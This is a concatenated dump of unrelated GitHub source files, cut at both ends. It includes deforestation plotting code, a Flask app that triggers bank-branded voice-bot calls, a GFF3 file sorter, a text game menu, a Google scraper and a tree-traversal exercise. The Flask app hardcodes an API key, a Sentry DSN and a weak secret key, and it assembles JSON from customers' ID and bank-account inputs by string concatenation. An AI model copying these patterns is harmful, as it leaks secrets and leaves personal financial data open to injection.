Toamasina\"\n)\n\nfig.update_xaxes(title_text=\"Year\")\n\nfig.update_yaxes(title_text=\"Hectares\", secondary_y=False)\nfig.update_yaxes(title_text=\"Metric tonnes\", secondary_y=True)\n\nfig.show()\n\n\n# In[29]:\n\n\nl4_6 = df4_1.iloc[5:6, np.r_[14:25]].values.tolist()\nl5_6 = df5_1.iloc[5:6, np.r_[15:26]].values.tolist()\nl6_6 = df6_1.iloc[5:6, np.r_[14:25]].values.tolist()\nlist4_6 = list(chain.from_iterable(l4_6))\nlist5_6 = list(chain.from_iterable(l5_6))\nlist6_6 = list(chain.from_iterable(l6_6))\nfig = make_subplots(specs=[[{\"secondary_y\": True}]])\n\nfig.add_trace(\n go.Scatter(x=x2,y=list4_6, name=\"Tree Cover Loss\"),\n secondary_y=False,\n)\n\nfig.add_trace(\n go.Scatter(x=x2, y=list5_6, name=\"Biomass Loss\"),\n secondary_y=True,\n)\n\nfig.add_trace(\n go.Scatter(x=x2, y=list6_6, name=\"CO2 Emissions\"),\n secondary_y=True,\n)\n\nfig.update_layout(\n title_text=\"Ecological Environment - Toliary\"\n)\n\nfig.update_xaxes(title_text=\"Year\")\n\nfig.update_yaxes(title_text=\"Hectares\", secondary_y=False)\nfig.update_yaxes(title_text=\"Metric tonnes\", secondary_y=True)\n\nfig.show()\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"duyufrank/duyufrank","sub_path":"Madagascar data.py","file_name":"Madagascar data.py","file_ext":"py","file_size_in_byte":7589,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"31371111856","text":"#! coding: utf-8\nimport pymongo\nfrom flask import (\n Flask,\n g,\n redirect,\n render_template,\n request,\n session,\n url_for\n)\nfrom bson.objectid import ObjectId\nimport sentry_sdk\nfrom waitress import serve\nfrom datetime import datetime\nfrom werkzeug.utils import secure_filename\nfrom werkzeug.datastructures import FileStorage\nfrom sentry_sdk.integrations.flask import FlaskIntegration\nfrom datetime import timedelta\nimport requests\nimport json\n# from meinheld import server\nfrom flask_sse import sse\n\n\ndef getNOW():\n return datetime.now().timestamp()\n\n\nmyclient = pymongo.MongoClient(\"mongodb://localhost:27017/\")\nmydb = myclient[\"api_platform\"]\n\napp = Flask(__name__)\napp.secret_key = 'somesecretkeythatonlyishouldknow'\napp.config['PERMANENT_SESSION_LIFETIME'] = timedelta(minutes=120)\n\n# sentry_sdk.init(\n# dsn=\"https://cb15bf47dbf84812a698a1d23ef0a527:16d5b523c6db4071ba2d61927438850c@3.0.212.27:9002/12\",\n\n# integrations=[FlaskIntegration()]\n# )\napp.config[\"REDIS_URL\"] = \"redis://127.0.0.1:6379/6\"\napp.register_blueprint(sse, url_prefix='/stream')\n\n\n@app.route('/send', methods=['GET', 'POST'])\ndef send_message():\n data = request.get_json()\n bot_conversation_id = data.get('bot_conversation_id')\n\n insert_data = {\"user_id\": \"\",\n \"username\": \"Test Webhook\",\n \"timestamp\": getNOW(),\n \"link_api\": \"https://developer.nextiva.vn/send\",\n \"request\": bot_conversation_id,\n \"response\": data,\n \"origin_request\": \"\",\n \"origin_response\": \"\"\n }\n mydb.api_logs.insert_one(insert_data)\n sse.publish(data, type=bot_conversation_id)\n return \"Message sent!\"\n\n\n@app.template_filter('shorten_id')\ndef shorten_id(value):\n return abs(hash(value)) % (10 ** 8)\n\n\n@app.errorhandler(404)\ndef page_not_found(e):\n return render_template('404.html'), 404\n\n\ndef get_bearer_token():\n url = \"https://api.nextiva.vn/auth\"\n\n payload = {'api_key': '2752aad4-d53a-4f3a-8506-000b911a2846'}\n files = [\n\n ]\n headers = {}\n\n response = requests.request(\n \"POST\", url, headers=headers, data=payload, files=files)\n return response.json().get('access_token')\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef test_event_shb():\n if request.method == 'POST':\n error = None\n customer_phone = request.form.get('customer_phone')\n if len(customer_phone) != 10:\n error = \"Số điện thoại không hợp lệ\"\n return json.dumps({\"result\": False, \"error\": error})\n\n customer_name = request.form.get('customer_name')\n if len(customer_name) == 0:\n error = \"Tên không được để trống\"\n return json.dumps({\"result\": False, \"error\": error})\n\n customer_cmnd = request.form.get('customer_cmnd')\n if len(customer_cmnd) == 0:\n error = \"Số CMND không được để trống\"\n return json.dumps({\"result\": False, \"error\": error})\n customer_gender = request.form.get('customer_gender')\n account_number = request.form.get('account_number')\n if len(account_number) == 0:\n error = \"Số tài khoản không được để trống\"\n return json.dumps({\"result\": False, \"error\": error})\n sum_of_money = request.form.get('sum_of_money')\n if len(sum_of_money) == 0:\n error = \"Số tiền không được để trống\"\n return json.dumps({\"result\": False, \"error\": error})\n\n token = get_bearer_token()\n\n url = \"https://api.nextiva.vn/call/bot\"\n\n call_params = '{\"customer_phone\": \"' + customer_phone + '\",\"customer_name\": \"' + customer_name + '\",\"customer_cmnd\": \"' + customer_cmnd + '\",\"customer_gender\": \"' + customer_gender + \\\n '\",\"account_number\": \"' + account_number + '\",\"sum_of_money\": \"' + sum_of_money + \\\n '\",\"bank_name\": \"Ngân hàng SHB\",\"bank_phone\": \"1800588856\"}'\n\n payload = {'hotline': '0366568956',\n 'called': customer_phone,\n 'bot_id': '103',\n 'bot_region': 'NORTH',\n 'call_params': call_params,\n 'cus_id': '0'}\n files = [\n\n ]\n headers = {\n 'Authorization': f'Bearer {token}'\n }\n\n response = requests.request(\n \"POST\", url, headers=headers, data=payload, files=files)\n\n r_json = response.json()\n code = r_json.get('code')\n data = r_json.get('data')\n conversation_id = data.get('conversation_id')\n return json.dumps({'result': True, \"conversation_id\": conversation_id, \"code\": code})\n\n else:\n error = None\n return render_template('test_event_shb.html', error=error)\n\n\n@app.route('/logout', methods=['GET'])\ndef logout():\n session.pop('user_name', None)\n return redirect('/login')\n\n","repo_name":"superbakuryu/test_event_shb","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"20812426076","text":"#! /usr/local/bin/python3\n\"\"\"\nChangelog:\n * v0.0.2\n - Sort the features grouped as 'others' by PositionSort\n - Add comments\n - Add argument -r to sort seqID does not end with a number\n\"\"\"\nimport sys\nimport re\nimport logging\nfrom gff3tool.lib.gff3 import Gff3\nfrom gff3tool.bin import version\n\n__version__ = version.__version__\n\ndef PositionSort(linelist,reference):\n # the input argument, 'linelist', is a python list collecting all the features you would like to sort by genomic coordinates\n id2line = {}\n id2start = {}\n seq2id = {}\n seqorder=[]\n if reference==True:\n for seqid in linelist:\n if seqid['seqid'] not in seqorder:\n seqorder.append(str(seqid['seqid']))\n #print seqorder\n\n for line in linelist:\n id2line[str(line['line_raw'])] = line\n id2start[str(line['line_raw'])] = (line['start'],line['line_index'])\n tmp = re.search('(\\S+)',line['seqid'])\n try:\n seqnum = tmp.groups()[0]\n\n except AttributeError:\n print ('Error')\n sys.exit(1)\n # 'seq2id': a dictionary mapping sequence number to their features\n if seqnum in seq2id:\n seq2id[seqnum].append(str(line['line_raw']))\n else:\n seq2id[seqnum] = [str(line['line_raw'])]\n keys=sorted(seq2id, key=seqorder.index)\n else:\n for line in linelist:\n id2line[str(line['line_raw'])] = line\n id2start[str(line['line_raw'])] = (line['start'],line['line_index'])\n tmp = re.search('(.+?)(\\d+)',line['seqid']) # Truncate the sequence ID, and only keep the sequence ID number\n try:\n seqnum = tmp.groups()[1]\n except AttributeError:\n print('ERROR [SeqID] SeqID does not end with a number. \\n\\t\\t- Line {0:s}: {1:s} \\n Adding argument -r like \" gff3_sort -g example_file/example.gff3 -og example-sorted.gff3 -r \" can handle this situation.'.format(str(line['line_index']+1),line['line_raw']))\n sys.exit(1)\n # 'seq2id': a dictionary mapping sequence number to their features\n if seqnum in seq2id:\n seq2id[seqnum].append(str(line['line_raw']))\n else:\n seq2id[seqnum] = [str(line['line_raw'])]\n # Sort by sequence ID number, and store them in 'keys'\n keys = sorted(seq2id, key=lambda i: int(i))\n newlinelist=[]\n\n # Visit every sequence number in the sorted list\n for k in keys:\n ids = seq2id[k] # Collect features having the same sequence ID number\n d = {}\n for ID in ids:\n d[ID] = id2start[ID][0] # Collect the 'start' coordinate of each feature with the same seqeunce ID number\n try:\n int(d[ID])\n except:\n print('ERROR [Start] Start is not a valid integer.\\n\\t\\t- Line {0:s}: {1:s}'.format(str(id2start[ID][1]+1),ID))\n sys.exit(1)\n id_sorted = sorted(d, key=lambda i: int(d[i])) # Sort the features by their 'start' coordinates\n for i in id_sorted:\n newlinelist.append(id2line[i]) # Collect the sorted features to the result parameter\n # Return the sorted result\n return newlinelist\n\ndef StrandSort(linelist):\n # the input argument, 'linelist', is a python list collecting features with the same strand information and the same type! Please note that linelist has to be single feature type, eg. exon.\n strand = {}\n seq = {}\n id2line = {}\n id2start = {}\n id2end = {}\n for line in linelist:\n #print(line['attributes']['ID']) # debug\n strand[line['strand']] = 0\n seq[line['seqid']] = 0\n id2line[str(line['line_raw'])] = line\n id2start[str(line['line_raw'])] = (line['start'],line['line_index'])\n id2end[str(line['line_raw'])] = (line['end'],line['line_index'])\n\n # Required conditions for the input line list\n if not len(seq) == 1:\n print('Not all lines located in the same sequence. Cannot process by StrandSort.')\n return\n if not len(strand) == 1:\n print('Strand is not consistent among all lines in the list or strand information is missing. Cannot process by StrandSort.')\n return\n\n # Sort by ascending order of genomic coordinates if the stran is '+', and by descending order if '-'. If the strand information is unclear, report error.\n newlinelist=[]\n for k in strand:\n if k == '+':\n try:\n id_sorted = sorted(id2start, key=lambda i: int(id2start[i][0]))\n for i in id_sorted:\n newlinelist.append(id2line[i])\n except:\n for i in id2start:\n try:\n int(id2start[i][0])\n except:\n print('ERROR [Start] Start is not a valid integer.\\n\\t\\t- Line {0:s}: {1:s}'.format(str(id2start[i][1]+1),i))\n sys.exit(1)\n elif k == '-':\n try:\n id_sorted = sorted(id2end, key=lambda i: int(id2end[i][0]), reverse=True)\n for i in id_sorted:\n newlinelist.append(id2line[i])\n except:\n for i in id2end:\n try:\n int(id2end[i][0])\n except:\n print('ERROR [End] End is not a valid integer.\\n\\t\\t- Line {0:s}: {1:s}'.format(str(id2end[i][1]+1),i))\n sys.exit(1)\n else:\n print('[Error]\\tStrand is not clear. Cannot process by StrandSort.')\n return newlinelist\ndef TwoParent(Child_id,third):\n #the input argument, Child_id is the id of second-level features (eg. mRNA, ncRNA, and etc.) and third is third-level features (eg. exon, CDS, and etc.)\n attributes = third['attributes'].copy()\n attributes['Parent'] = Child_id\n attributes_line = \";\".join(\"=\".join((str(k),str(v))) for k,v in attributes.items())\n line_new = third['line_raw'].split('\\t')\n line_new[8] = attributes_line + \"\\n\"\n line_update = \"\\t\".join(line_new)\n\n return line_update\n\ndef write_out_by_level(report, line_data, sorting_order, gff3_linenum_Set,level=0):\n report.write(line_data['line_raw'])\n gff3_linenum_Set.discard(line_data['line_index'])\n children = line_data['children']\n reverse = False\n strand_set = list(set([line['strand'] for line in children]))\n if len(strand_set) == 1:\n if strand_set[0] == '-':\n reverse = True\n children_sorted = TypeSort(children, sorting_order, reverse)\n for child in children_sorted:\n write_out_by_level(report, child, sorting_order, gff3_linenum_Set,level=level+1)\n\n return gff3_linenum_Set\n\ndef TypeSort(line_list, sorting_order, reverse=False):\n id2line ={}\n id2index = {}\n line_list_sort = []\n for line in line_list:\n lineindex = line['start'] if reverse==False else line['end']\n id2line[str(line['line_raw'])] = line\n try:\n if line['type'] in sorting_order:\n id2index[str(line['line_raw'])] = [lineindex, sorting_order[line['type']] if reverse==False else (-sorting_order[line['type']])]\n else:\n id2index[str(line['line_raw'])] = [lineindex, 99 if reverse==False else -99]\n except:\n logger.error('[Start/End] Start/End is not a valid integer.\\n\\t\\t- Line {0:s}: {1:s}'.format(str(line['line_index']+1),line['line_raw']))\n id_sorted = sorted(id2index, key=lambda i: (int(id2index[i][1]), int(id2index[i][0])), reverse=reverse)\n for i in id_sorted:\n line_list_sort.append(id2line[i])\n return line_list_sort\n\ndef main(gff, output=None, sorting_order=None, isoform_sort=False, logger=None, reference=False):\n logger_null = logging.getLogger(__name__+'null')\n null_handler = logging.NullHandler()\n logger_null.addHandler(null_handler)\n\n gff3 = Gff3(gff_file=gff, logger=logger_null)\n\n if output:\n report = open(output, 'w')\n else:\n report = sys.stdout\n\n\n logger.info('Sorting and printing out...')\n\n # Visit the GFF3 object through root-level features (eg. gene, pseudogene, and etc.)\n roots =[]\n gff3_linenum_Set = set()\n\n for line in gff3.lines:\n if line['line_type'] == 'feature':\n gff3_linenum_Set.add(line['line_index'])\n try:\n if line['line_type'] == 'feature' and not 'Parent' in line['attributes'] and len(line['attributes']) != 0:\n roots.append(line)\n except:\n logger.warning('[Missing Attributes] Program failed.\\n\\t\\t- Line {0:s}: {1:s}'.format(str(line['line_index']+1), line['line_raw']))\n #roots = [line for line in gff3.lines if line['line_type'] == 'feature' and not line['attributes'].has_key('Parent')]\n\n # Sort the root-level features based on the order of the genomic sequences\n roots_sorted = PositionSort(roots,reference)\n\n # Write the gff version\n # report.write('##gff-version 3\\n')\n\n wrote_sequence_region = set()\n # build sequence region data\n sequence_regions = {}\n if gff3.fasta_embedded:\n for seqid in gff3.fasta_embedded:\n sequence_regions[seqid] = (1, len(gff3.fasta_embedded[seqid]['seq']))\n else:\n directives_lines = [line_data for line_data in gff3.lines if line_data['line_type'] == 'directive' and line_data['directive'] == '##sequence-region']\n for sequence_region in directives_lines:\n sequence_regions[sequence_region['seqid']] = (sequence_region['start'], sequence_region['end'])\n ignore_directives = ['##sequence-region', '###', '##FASTA']\n # write directive\n directives_lines = [line_data for line_data in gff3.lines if line_data['line_type'] == 'directive' and line_data['directive'] not in ignore_directives]\n for directives_line in directives_lines:\n report.write(directives_line['line_raw'])\n\n # Visit every root-level feature\n for root in roots_sorted:\n # write ##sequence-region\n if root['seqid'] not in wrote_sequence_region:\n if root['seqid'] in sequence_regions:\n report.write('##sequence-region %s %d %d\\n' % (root['seqid'], sequence_regions[root['seqid']][0], sequence_regions[root['seqid']][1]))\n wrote_sequence_region.add(root['seqid'])\n if sorting_order == None:\n report.write(root['line_raw'])\n gff3_linenum_Set.discard(root['line_index'])\n children = root['children'] # Collect the second-level features (eg. mRNA, ncRNA, and etc.)\n children_sorted = PositionSort(children,reference)\n otherlines=[]\n for child in children_sorted:\n ## ID information is stored in child['attributes']['ID']\n #print('----------------')\n gff3_linenum_Set.discard(child['line_index'])\n report.write(child['line_raw'])\n grandchildren = child['children'] # Collect third-level features (eg. exon, CDS, and etc.)\n gchildgroup = {}\n # Visit every third-level feature, and collect a dictionary of 'type' to 'features'\n for grandchild in grandchildren: # Visit each third-level feature\n if str(grandchild['type']) in gchildgroup:\n gchildgroup[str(grandchild['type'])].append(grandchild)\n else:\n gchildgroup[str(grandchild['type'])] = []\n gchildgroup[str(grandchild['type'])].append(grandchild)\n otherlines.extend(gff3.collect_descendants(grandchild))\n # Seperate the third-level features into three groups: exon, cds, and others\n exons = []\n cdss = []\n others = []\n for k, v in gchildgroup.items():\n if k == 'exon' or k == 'pseudogenic_exon':\n exons.extend(v)\n elif k == 'CDS':\n cdss.extend(v)\n else:\n others.extend(v)\n\n # Sort exons by considering strand information (StrandSort)\n if len(exons):\n exons_sorted = []\n if StrandSort(exons):\n exons_sorted = StrandSort(exons)\n for exon in exons_sorted:\n if 'Parent' in exon['attributes']:\n if isinstance(exon['attributes']['Parent'], list) and len(exon['attributes']['Parent']) > 1:\n gff3_linenum_Set.discard(exon['line_index'])\n report.write(TwoParent(child['attributes']['ID'],exon))\n else:\n gff3_linenum_Set.discard(exon['line_index'])\n report.write(exon['line_raw'])\n else:\n gff3_linenum_Set.discard(exon['line_index'])\n report.write(exon['line_raw'])\n # Sort cds features by considering strand information (StrandSort)\n if len(cdss):\n cdss_sorted = []\n if StrandSort(cdss):\n cdss_sorted = StrandSort(cdss)\n for cds in cdss_sorted:\n if 'Parent' in cds['attributes']:\n if isinstance(cds['attributes']['Parent'], list) and len(cds['attributes']['Parent']) > 1:\n gff3_linenum_Set.discard(cds['line_index'])\n report.write(TwoParent(child['attributes']['ID'],cds))\n else:\n gff3_linenum_Set.discard(cds['line_index'])\n report.write(cds['line_raw'])\n else:\n gff3_linenum_Set.discard(cds['line_index'])\n report.write(cds['line_raw'])\n # Sort other features by PositionSort\n if len(others):\n if PositionSort(others,reference):\n for other in others:\n if 'Parent' in other['attributes']:\n if isinstance(other['attributes']['Parent'], list) and len(other['attributes']['Parent']) > 1:\n gff3_linenum_Set.discard(other['line_index'])\n report.write(TwoParent(child['attributes']['ID'],other))\n else:\n gff3_linenum_Set.discard(other['line_index'])\n report.write(other['line_raw'])\n else:\n gff3_linenum_Set.discard(other['line_index'])\n report.write(other['line_raw'])\n\n # Sort the features beyond the third-level by PositionSort\n unique = {}\n otherlines_sorted = []\n if PositionSort(otherlines,reference):\n otherlines_sorted = PositionSort(otherlines,reference)\n for k in otherlines_sorted:\n gff3_linenum_Set.discard(k['line_index'])\n unique[k['line_raw']] = 1\n for k,v in unique.items():\n report.write(k)\n else:\n if not isoform_sort:\n gff3_linenum_Set=write_out_by_level(level=0, report=report, line_data=root, sorting_order=sorting_order, gff3_linenum_Set=gff3_linenum_Set)\n else:\n model = gff3.collect_descendants(root)\n model.insert(0, root)\n strand_set = list(set([line['strand'] for line in model]))\n reverse=False\n for line in model:\n if len(strand_set) == 1:\n if strand_set == '-':\n reverse = True\n line_list = TypeSort(model, sorting_order, reverse=reverse)\n for line in line_list:\n gff3_linenum_Set.discard(line['line_index'])\n report.write(line['line_raw'])\n report.write('###\\n')\n\n #Missing 'root' feature\n if len(gff3_linenum_Set) !=0:\n logger.warning('The following lines are omitted from the output file, because there is a problem with the input file. Please review the input file or run gff-QC.py to identify the error.\\n')\n for line_num in gff3_linenum_Set:\n print('\\t\\t- Line {0:s}: {1:s}'.format(str(line_num+1), gff3.lines[line_num]['line_raw']))\n\n # write fasta\n fasta = gff3.fasta_embedded\n if fasta:\n report.write('##FASTA\\n')\n for key in fasta:\n seq = fasta[key]['seq']\n report.write(u'{0:s}\\n{1:s}\\n'.format(fasta[key]['header'],seq))\n\n\n\ndef script_main():\n # Set up logger information\n logger_stderr = logging.getLogger(__name__+'stderr')\n logger_stderr.setLevel(logging.INFO)\n stderr_handler = logging.StreamHandler()\n stderr_handler.setFormatter(logging.Formatter('%(levelname)-8s %(message)s'))\n logger_stderr.addHandler(stderr_handler)\n logger_null = logging.getLogger(__name__+'null')\n null_handler = logging.NullHandler()\n logger_null.addHandler(null_handler)\n import argparse\n from textwrap import dedent\n # Help information\n parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description=dedent(\"\"\"\\\n Sort a GFF3 file according to the order of Scaffold (seqID), coordinates on a Scaffold, and feature relationship based on sequence ontology.\n\n Inputs:\n 1. GFF3 file: Specify the file name with the -g argument\n\n Outputs:\n 1. Sorted GFF3 file: Specify the file name with the -og argument\n\n Examples:\n 1. Specify the input, output file names and options using short arguments:\n gff3_sort -g example_file/example.gff3 -og example_file/example_sorted.gff\n 2. Specify the input, output file names and options using long arguments:\n gff3_sort --gff_file example_file/example.gff3 --output_gff example_file/example_sorted.gff\n\n \"\"\"))\n parser.add_argument('-g', '--gff_file', type=str, help='GFF3 file that you would like to sort.')\n parser.add_argument('-og', '--output_gff', type=str, help='Sorted GFF3 file')\n parser.add_argument('-t', '--sort_template', type=str, help='A file that indicates the sorting order of features within a gene model')\n parser.add_argument('-i', '--isoform_sort', action=\"store_true\", help='Sort multi-isoform gene models by feature type (default: False)', default=False)\n parser.add_argument('-v', '--version', action='version', version='%(prog)s ' + __version__)\n parser.add_argument('-r', '--reference', action=\"store_true\", help='Sort scaffold (seqID) by order of appearance in gff3 file (default is by number)', default=False)\n # Process the required arguments\n test_lv = 1 # debug\n if test_lv == 0:\n args = parser.parse_args(['-g', 'annotations.gff'])\n else:\n args = parser.parse_args()\n\n if args.gff_file:\n logger_stderr.info('Checking GFF3 file (%s)...', args.gff_file)\n else: # no input\n parser.print_help()\n sys.exit(1)\n\n if args.isoform_sort:\n if not args.sort_template:\n logger_stderr.warning('Sort template is not given. --isoform_sort argument will be ignored.')\n args.isoform_sort = False\n\n if args.sort_template:\n logger_stderr.info('Checking sort template file (%s)...', args.sort_template)\n sorting_order = dict()\n current_line_num = 0\n try:\n with open(args.sort_template, 'r') as ud_f:\n for line in ud_f:\n line = line.strip()\n lines = line.split(\" \")\n current_line_num += 1\n for feature in lines:\n sorting_order[feature] = current_line_num\n except:\n logger_stderr.error('Failed to read the sort template file (%s).', args.sort_template)\n sys.exit(1)\n else:\n sorting_order = None\n\n if args.reference:\n args = parser.parse_args()\n\n # Creat GFF3 object\n logger_stderr.info('Reading gff3 file...')\n main(args.gff_file, output=args.output_gff, isoform_sort=args.isoform_sort, sorting_order=sorting_order, logger=logger_stderr, reference=args.reference)\n\n\n","repo_name":"NAL-i5K/GFF3toolkit","sub_path":"gff3tool/bin/gff3_sort.py","file_name":"gff3_sort.py","file_ext":"py","file_size_in_byte":20650,"program_lang":"python","lang":"en","doc_type":"code","stars":70,"dataset":"github-code","pt":"38"} +{"seq_id":"5586751539","text":"def display_menu():\n # display the available options to the player\n print(\"\\nWelcome to the Game Menu!\")\n print(\"1. Start Game\")\n print(\"2. View Inventory\")\n print(\"3. View Map\")\n print(\"4. Save Game\")\n print(\"5. Quit\")\n\ndef start_game():\n # start the game logic\n print(\"\\nGame started! Good luck!\")\n # add game logic here\n\ndef view_inventory():\n # define a list of items in the player's inventory\n inventory = [\"sword\", \"shield\", \"potion\", \"key\"]\n # display the inventory to the player\n print(\"\\nInventory:\")\n for item in inventory:\n print(\"- \" + item)\n\ndef view_map():\n # define a dictionary with map data\n map_data = {\"start\": \"You are here\", \"end\": \"The final boss is here\", \"path\": \"The path to victory\"}\n # display the map to the player\n print(\"\\nMap:\")\n for key, value in map_data.items():\n print(key + \": \" + value)\n\ndef save_game():\n # save the game data to a file\n print(\"\\nGame saved!\")\n\n# main loop\nwhile True:\n # display the menu options to the player\n display_menu()\n\n # get the player's choice from the input\n choice = input(\"Enter your choice: \")\n\n # handle the player's choice\n if choice == \"1\":\n start_game()\n elif choice == \"2\":\n view_inventory()\n elif choice == \"3\":\n view_map()\n elif choice == \"4\":\n save_game()\n elif choice == \"5\":\n # exit the game loop\n print(\"Thanks for playing! Goodbye.\")\n break\n else:\n # handle invalid input from the player\n print(\"Invalid choice. Please try again.\")\n","repo_name":"syed-abd/RPG-Simple-Menu--Abdullah","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"5706010061","text":"# -*- coding: utf-8 -*-\r\n# @Time : 2022/8/19 0019 13:22\r\n# @Author : Leo.W\r\n# @Email : wanglei@whu.edu.cn\r\n# @File : main.py\r\n\r\n\r\nimport time\r\nimport urllib3\r\nfrom lxml import etree\r\nimport google_api\r\nimport searchInfo\r\nfrom tools import *\r\n\r\nurllib3.disable_warnings()\r\n\r\n\r\ndef HTML(api, start_list, end_list):\r\n f_keyword = api.conf['keyword'].replace(' ', '+')\r\n for i in range(len(start_list)):\r\n # 控制翻页\r\n api.conf['pn'] = 0\r\n page_inner = 'Next'\r\n # 数据字段\r\n title = []\r\n caption_cite = []\r\n caption_time = []\r\n caption_p = []\r\n # 区间\r\n sl = start_list[i].split('/')\r\n el = end_list[i].split('/')\r\n sl_month = '0' + sl[1] if 0 <= int(sl[1]) <= 9 else sl[1]\r\n el_month = '0' + el[1] if 0 <= int(el[1]) <= 9 else el[1]\r\n sl_day = '0' + sl[2] if 0 <= int(sl[2]) <= 9 else sl[2]\r\n el_day = '0' + el[2] if 0 <= int(el[2]) <= 9 else el[2]\r\n db_name = f'{sl[0]}{sl_month}{sl_day}_{el[0]}{el_month}{el_day}'\r\n api.conf['sl'] = sl\r\n api.conf['el'] = el\r\n # 写入日志\r\n api.conf['output_log'] = api.conf['output_log_path'] + '/' + f'log_{f_keyword}_{db_name}.txt'\r\n # 用于程序中断再运行清空上次文件内容\r\n output_log_1 = open(api.conf['output_log'], mode='w', encoding='utf-8')\r\n output_log = open(api.conf['output_log'], mode='a', encoding='utf-8')\r\n while page_inner:\r\n api.conf['count'] = api.conf['pn'] / 10 + 1\r\n time.sleep(api.conf['sleep'])\r\n html = api.getHTML()\r\n s = etree.HTML(html)\r\n parseHTML(s, title, caption_cite, caption_time, caption_p, output_log)\r\n # 控制翻页\r\n page_inner = s.xpath('//table[@class=\"AaVjTc\"]//td[@class=\"d6cvqb BBwThe\"]//span[text()=\"Next\"]')\r\n if page_inner:\r\n api.conf['pn'] += 10\r\n else:\r\n break\r\n if api.conf['save_flag']:\r\n # 数据库文件保存\r\n searchInfo.db_import(f_keyword, db_name, title, caption_cite, caption_time, caption_p)\r\n print(\"------Stored in the database------\", file=output_log)\r\n print(\"------Stored in the database------\")\r\n else:\r\n # CSV文件保存\r\n csv_path = api.conf['csv_path']\r\n searchInfoCSV(f_keyword, db_name, title, caption_cite, caption_time, caption_p, csv_path)\r\n print(\"------Stored in the csv folder------\", file=output_log)\r\n print(\"------Stored in the csv folder------\")\r\n print(\"------End------\", file=output_log)\r\n print(\"------End------\")\r\n output_log.close()\r\n\r\n\r\nif __name__ == '__main__':\r\n api = google_api.Google()\r\n start_list, end_list = getStart(api)\r\n HTML(api, start_list, end_list)\r\n\r\n\r\n\r\n","repo_name":"LeonWang91/Google-Spyder","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2878,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"38"} +{"seq_id":"24320274844","text":"\nclass stk_t:\n def __init__(self,node,dir,lev,par):\n\n self.node=node\n self.dir=dir\n self.lev=lev\n self.par=par\n\n\nclass node_t:\n hh=0\n\n def __init__(self, pv):\n self.v=pv\n self.children=[]\n \n\n def copy(self):\n node2=node_t(\"\")\n node2.v=self.v+\"_copy\"\n return node2\n\n\n\n\n\nclass test_t:\n\n \n #pre-order with stack \n def trav_nr_pre(self, root):\n print(\" \")\n print(\"++++pre-order++++++\")\n\n stk_list=[]\n\n dir=0\n lev=0\n node=root\n stk_p=stk_t(node,dir,lev,None)\n stk_list.append(stk_p)\n\n while len(stk_list)>0:\n \n stk_p=stk_list.pop()\n node_p=stk_p.node\n lev=stk_p.lev\n par=stk_p.par\n print(\"popped from stack value\", node_p.v, \"lev\", lev )\n node_p1=node_p.copy()\n if(par!=None):\n par.children.append(node_p1)\n else:\n root1=node_p1\n \n \n #push children and remember current as thier parent \n for child in reversed(node_p.children):\n stk_p=stk_t(child,dir,lev+1,node_p1)\n stk_list.append(stk_p)\n\n #end loop\n return root1\n\n\n #post order with stack and copy\n def trav_nr_post(self,root):\n print(\" \")\n print(\"++++post-order++++++\")\n\n stk_list=[]\n\n dir=\"down\"\n lev=0\n node=root\n \n stk_p=stk_t(node,dir,lev,None)\n\n stk_list.append(stk_p)\n \n while len(stk_list)>0:\n stk_p=stk_list.pop()\n\n node_p=stk_p.node\n dir=stk_p.dir\n lev=stk_p.lev\n\n # print(\"popped from stack value\", node_p.v, \"lev\", lev, \"dir \", dir)\n if (len(node_p.children)==0):\n print(\"Leaf lev\" , lev, \"value \",node_p.v )\n \n else:\n if dir==\"down\":\n #down \n #reappend(push) current with dir=up \n stk_p=stk_t(node_p,\"up\",lev,None)\n stk_list.append(stk_p)\n for child_p in reversed(node_p.children):\n stk_p=stk_t(child_p,\"down\",lev+1,None)\n stk_list.append(stk_p)\n else:\n #print and skip\n print(\"up lev\" , lev, \"value \",node_p.v )\n \n #end loop\n return \n\n\n\n \n\n\n\nroot=node_t(\"a\")\nc1=node_t(\"c1\")\nc2=node_t(\"c2\")\nc3=node_t(\"c3\")\nroot.children.append(c1)\nroot.children.append(c2)\nroot.children.append(c3)\n\ng11=node_t(\"g11\")\ng12=node_t(\"g12\")\nc1.children.append(g11)\nc1.children.append(g12)\ng21=node_t(\"g21\")\nc2.children.append(g21)\ngg211=node_t(\"g211\")\ng21.children.append(gg211)\n\n\ntest_p=test_t()\n\nroot1=test_p.trav_nr_pre(root)\nroot2=test_p.trav_nr_pre(root1)\n\n\n\ntest_p.trav_nr_post(root2)\n\n\n\n","repo_name":"pgmabv99/pyproblems","sub_path":"av24_tree_no_recur.py","file_name":"av24_tree_no_recur.py","file_ext":"py","file_size_in_byte":2935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"71099906352","text":"import math\nimport sys\nimport threading\n\nimport rospy\nimport tf\nfrom tf.transformations import euler_from_quaternion\nfrom nav_msgs.msg import Path\nfrom geometry_msgs.msg import PoseStamped\n\nfrom nav_msgs.msg import Odometry\nfrom std_msgs.msg import Bool\n\nimport glob \nimport os\nimport sys\n\nfrom tabulate import tabulate\n\n# Techs4AgeCar project\n\ntry:\n sys.path.append('/home/robesafe/PythonAPI/examples')\nexcept IndexError:\n pass\n\nfrom navigation.agent_planner import Path_Planner\n\n# Techs4AgeCar project\n\ntry:\n sys.path.append(glob.glob('/home/robesafe/PythonAPI/carla/dist/carla-*%d.%d-%s.egg' % (\n sys.version_info.major,\n sys.version_info.minor,\n 'win-amd64' if os.name == 'nt' else 'linux-x86_64'))[0])\nexcept IndexError:\n pass\n\nimport carla\n\nfrom navigation.global_route_planner import GlobalRoutePlanner\nfrom navigation.global_route_planner_dao import GlobalRoutePlannerDAO\n\nclass CarlaToRosWaypointConverter(object):\n\n \"\"\"\n This class generates a plan of waypoints to follow.\n\n The calculation is done whenever:\n - a new goal is set\n \"\"\"\n WAYPOINT_DISTANCE = 2.0\n\n def 